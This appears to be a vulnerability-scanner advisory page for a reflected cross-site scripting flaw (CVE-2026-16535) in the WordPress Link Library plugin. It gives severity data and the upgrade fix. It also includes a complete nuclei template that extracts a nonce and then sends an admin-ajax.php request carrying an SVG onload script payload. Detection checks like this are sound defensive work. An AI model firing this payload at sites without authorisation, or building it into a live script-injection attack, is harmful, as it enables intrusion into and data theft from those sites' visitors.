WordPress Link Library < 7.9.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.5%likelihood of exploitation, next 30 days

44%of all CVEs are less likely

Readycheck to confirm it

Link Library WordPress plugin < 7.9.4 contains a reflected XSS caused by unsanitised and unescaped parameter reflected in response, letting unauthenticated attackers execute scripts via user interaction.

Impact

Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.

Fix

Update to version 7.9.4 or later.

How to confirm it

Send: GET / ; GET /links/
Positive when: contains(body, "thumbs_rating_ajax")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "<svg onload=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2026-16535 -u <target>

The full check

id: CVE-2026-16535

info:
  name: WordPress Link Library < 7.9.4 - Cross-Site Scripting
  author: anirbala98
  severity: medium
  description: |
    Link Library WordPress plugin < 7.9.4 contains a reflected XSS caused by unsanitised and unescaped parameter reflected in response, letting unauthenticated attackers execute scripts via user interaction.
  impact: |
    Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Update to version 7.9.4 or later.
  reference:
    - https://wpscan.com/vulnerability/3b6c0efb-c503-437a-8f9b-f8a8c032313c/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16535
    - https://wordpress.org/plugins/link-library/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-16535
    epss-score: 0.00512
    epss-percentile: 0.44008
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: yannick-lefebvre
    product: link-library
    fofa-query: body="/wp-content/plugins/link-library/"
  tags: cve,cve2026,wordpress,wp-plugin,link-library,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /links/ HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "thumbs_rating_ajax")'
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'thumbs_rating_ajax = \{[^}]*"nonce":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=thumbs_rating_add_vote&nonce={{nonce}}&postid=1&type=1&likelabel=<svg onload=alert(document.domain)>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<svg onload=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from